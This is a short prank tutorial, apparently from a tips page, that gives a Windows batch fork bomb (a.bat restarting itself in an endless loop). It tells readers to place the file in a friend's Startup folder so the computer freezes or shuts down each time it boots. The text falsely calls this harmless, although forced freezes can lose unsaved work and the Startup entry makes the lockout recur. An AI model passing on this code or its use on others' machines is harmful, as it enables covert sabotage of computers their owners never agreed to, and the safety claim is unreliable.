Try this fork bomb

This is a small code , which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.
You can try this on your friends by putting it in the Startup.